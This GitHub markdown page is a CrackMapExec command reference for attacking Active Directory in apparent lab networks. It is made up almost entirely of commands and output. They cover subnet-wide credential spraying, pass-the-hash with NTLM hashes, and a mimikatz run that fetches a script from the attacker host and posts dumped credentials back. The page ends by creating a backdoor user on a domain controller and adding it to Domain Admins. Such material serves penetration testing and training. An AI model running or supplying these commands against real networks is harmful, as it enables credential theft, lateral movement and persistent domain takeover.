Skip to content

Latest commit

 

History

History
134 lines (116 loc) · 10.6 KB

crackmapexec.md

File metadata and controls

134 lines (116 loc) · 10.6 KB
Raw

CrackMapExec

CrackMapExec

CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Built with stealth in mind, CME follows the concept of "Living off the Land": abusing built-in Active Directory features/protocols to achieve it's functionality and allowing it to evade most endpoint protection/IDS/IPS solutions.

As CME is already pretty well documented and explained by byt3bl33d3r himself, this article will serve the purpose of command reference.

> crackmapexec smb 10.10.10.52 -u demonas -p 'M374L_P@ssW0rd!'
SMB         10.10.10.52     445    EMPEROR           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:EMPEROR) (domain:KVLT) (signing:True) (SMBv1:True)
SMB         10.10.10.52     445    EMPEROR           [+] KVLT\demonas:M374L_P@ssW0rd!

> crackmapexec smb 10.10.10.1/24 -u demonas -p 'M374L_P@ssW0rd!' --pass-pol
SMB         10.10.10.52     445    EMPEROR           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:EMPEROR) (domain:KVLT) (signing:True) (SMBv1:True)
SMB         10.10.10.40     445    FREEZING-MOON         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:FREEZING-MOON) (domain:FREEZING-MOON) (signing:False) (SMBv1:True)
SMB         10.10.10.59     445    MAYHEM            [*] Windows Server 2016 Standard 14393 x64 (name:MAYHEM) (domain:MAYHEM) (signing:False) (SMBv1:True)
SMB         10.10.10.52     445    EMPEROR           [+] KVLT\demonas:M374L_P@ssW0rd! 
SMB         10.10.10.40     445    FREEZING-MOON         [+] FREEZING-MOON\demonas:M374L_P@ssW0rd! 
SMB         10.10.10.59     445    MAYHEM            [-] MAYHEM\demonas:M374L_P@ssW0rd! STATUS_LOGON_FAILURE 
SMB         10.10.10.52     445    EMPEROR           [+] Dumping password info for domain: KVLT
SMB         10.10.10.52     445    EMPEROR           Minimum password length: 7
SMB         10.10.10.52     445    EMPEROR           Password history length: 24
SMB         10.10.10.52     445    EMPEROR           Maximum password age: 
SMB         10.10.10.52     445    EMPEROR           
SMB         10.10.10.52     445    EMPEROR           Password Complexity Flags: 000001
SMB         10.10.10.52     445    EMPEROR               Domain Refuse Password Change: 0
SMB         10.10.10.52     445    EMPEROR               Domain Password Store Cleartext: 0
SMB         10.10.10.52     445    EMPEROR               Domain Password Lockout Admins: 0
SMB         10.10.10.52     445    EMPEROR               Domain Password No Clear Change: 0
SMB         10.10.10.52     445    EMPEROR               Domain Password No Anon Change: 0
SMB         10.10.10.52     445    EMPEROR               Domain Password Complex: 1
SMB         10.10.10.52     445    EMPEROR           
SMB         10.10.10.52     445    EMPEROR           Minimum password age: 
SMB         10.10.10.52     445    EMPEROR           Reset Account Lockout Counter: 30 minutes 
SMB         10.10.10.52     445    EMPEROR           Locked Account Duration: 30 minutes 
SMB         10.10.10.52     445    EMPEROR           Account Lockout Threshold: None
SMB         10.10.10.52     445    EMPEROR           Forced Log off Time: Not Set
SMB         10.10.10.3      445    FUNERAL-FOG             [*] Unix (name:FUNERAL-FOG) (domain:FUNERAL-FOG) (signing:False) (SMBv1:True)
SMB         10.10.10.3      445    FUNERAL-FOG             [-] FUNERAL-FOG\demonas:M374L_P@ssW0rd! STATUS_LOGON_FAILURE

> crackmapexec smb 10.10.10.59 -u Sathanas -p 'DeMysteriisDomSathanas!' --shares
SMB         10.10.10.59     445    MAYHEM            [*] Windows Server 2016 Standard 14393 x64 (name:MAYHEM) (domain:MAYHEM) (signing:False) (SMBv1:True)
SMB         10.10.10.59     445    MAYHEM            [+] MAYHEM\Sathanas:DeMysteriisDomSathanas! 
SMB         10.10.10.59     445    MAYHEM            [+] Enumerated shares
SMB         10.10.10.59     445    MAYHEM            Share           Permissions     Remark
SMB         10.10.10.59     445    MAYHEM            -----           -----------     ------
SMB         10.10.10.59     445    MAYHEM            ACCT            READ            
SMB         10.10.10.59     445    MAYHEM            ADMIN$                          Remote Admin
SMB         10.10.10.59     445    MAYHEM            C$                              Default share
SMB         10.10.10.59     445    MAYHEM            IPC$                            Remote IPC

Pass the Hash

kali :: ~ # cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth                                                                              2 ↵
SMB         10.8.14.14      445    SQL01            [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:SQL01) (domain:SQL01) (signing:False) (SMBv1:True)
SMB         10.8.14.14      445    SQL01            [+] SQL01\Administrator aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e (Pwn3d!)

CME with user hash against our subnet:

kali :: ~ # cme smb 10.8.14.0/24 -u maniac -H e045c10921635ee21d6bd3b3f64a416f                                                                                                                                    
SMB         10.8.14.12      445    MX01             [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:MX01) (domain:LAB) (signing:True) (SMBv1:True)
SMB         10.8.14.15      445    WEB01            [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:WEB01) (domain:LAB) (signing:False) (SMBv1:True)
SMB         10.8.14.10      445    DC01             [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:LAB) (signing:True) (SMBv1:True)
SMB         10.8.14.11      445    FS01             [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:FS01) (domain:LAB) (signing:False) (SMBv1:True)
SMB         10.8.14.14      445    SQL01            [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:SQL01) (domain:LAB) (signing:False) (SMBv1:True)
SMB         10.8.14.17      445    RDS02            [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RDS02) (domain:LAB) (signing:False) (SMBv1:True)
SMB         10.8.14.12      445    MX01             [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f (Pwn3d!)
SMB         10.8.14.15      445    WEB01            [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f 
SMB         10.8.14.10      445    DC01             [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f 
SMB         10.8.14.11      445    FS01             [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f 
SMB         10.8.14.14      445    SQL01            [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f 
SMB         10.8.14.17      445    RDS02            [+] LAB\maniac e045c10921635ee21d6bd3b3f64a416f

Shares Recon

kali :: ~ # cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth --shares                            
SMB         10.8.14.14      445    SQL01            [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:SQL01) (domain:SQL01) (signing:False) (SMBv1:True)
SMB         10.8.14.14      445    SQL01            [+] SQL01\Administrator aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e (Pwn3d!)
SMB         10.8.14.14      445    SQL01            [+] Enumerated shares
SMB         10.8.14.14      445    SQL01            Share           Permissions     Remark
SMB         10.8.14.14      445    SQL01            -----           -----------     ------
SMB         10.8.14.14      445    SQL01            ADMIN$          READ,WRITE      Remote Admin
SMB         10.8.14.14      445    SQL01            C$              READ,WRITE      Default share
SMB         10.8.14.14      445    SQL01            IPC$                            Remote IPC

Mimikatz

kali :: ~ # cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth -M mimikatz                         
SMB         10.8.14.14      445    SQL01            [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:SQL01) (domain:SQL01) (signing:False) (SMBv1:True)
SMB         10.8.14.14      445    SQL01            [+] SQL01\Administrator aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e (Pwn3d!)
MIMIKATZ    10.8.14.14      445    SQL01            [+] Executed launcher
MIMIKATZ                                            [*] Waiting on 1 host(s)
MIMIKATZ    10.8.14.14                              [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ                                            [*] Waiting on 1 host(s)
MIMIKATZ                                            [*] Waiting on 1 host(s)
MIMIKATZ                                            [*] Waiting on 1 host(s)
MIMIKATZ                                            [*] Waiting on 1 host(s)
MIMIKATZ    10.8.14.14                              [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ    10.8.14.14                              lab\maniac:e045c10921635ee21d6bd3b3f64a416f
MIMIKATZ    10.8.14.14                              LAB\maniac:e045c10921635ee21d6bd3b3f64a416f
MIMIKATZ    10.8.14.14                              LAB\SQL01$:5ad23d25ce4e58d242be7e4acb73fc4d
MIMIKATZ    10.8.14.14                              [+] Added 3 credential(s) to the database
MIMIKATZ    10.8.14.14                              [*] Saved raw Mimikatz output to Mimikatz-10.8.14.14-2018-03-22_122819.log

Executing commands as Domain Admin to DC (creating a new user and adding him to Domain Admins group):

kali :: ~ # cme smb 10.8.14.10 -u dead -H 49a074a39dd0651f647e765c2cc794c7 -X "net user hackerman LolWTF!#&$ /add /domain"                                                                                         
SMB         10.8.14.10      445    DC01             [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:LAB) (signing:True) (SMBv1:True)
SMB         10.8.14.10      445    DC01             [+] LAB\dead 49a074a39dd0651f647e765c2cc794c7 (Pwn3d!)
SMB         10.8.14.10      445    DC01             [+] Executed command

kali :: ~ # cme smb 10.8.14.10 -u dead -H 49a074a39dd0651f647e765c2cc794c7 -X 'net group "Domain Admins" /add hackerman /domain'                2 ↵
SMB         10.8.14.10      445    DC01             [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:LAB) (signing:True) (SMBv1:True)
SMB         10.8.14.10      445    DC01             [+] LAB\dead 49a074a39dd0651f647e765c2cc794c7 (Pwn3d!)
SMB         10.8.14.10      445    DC01             [+] Executed command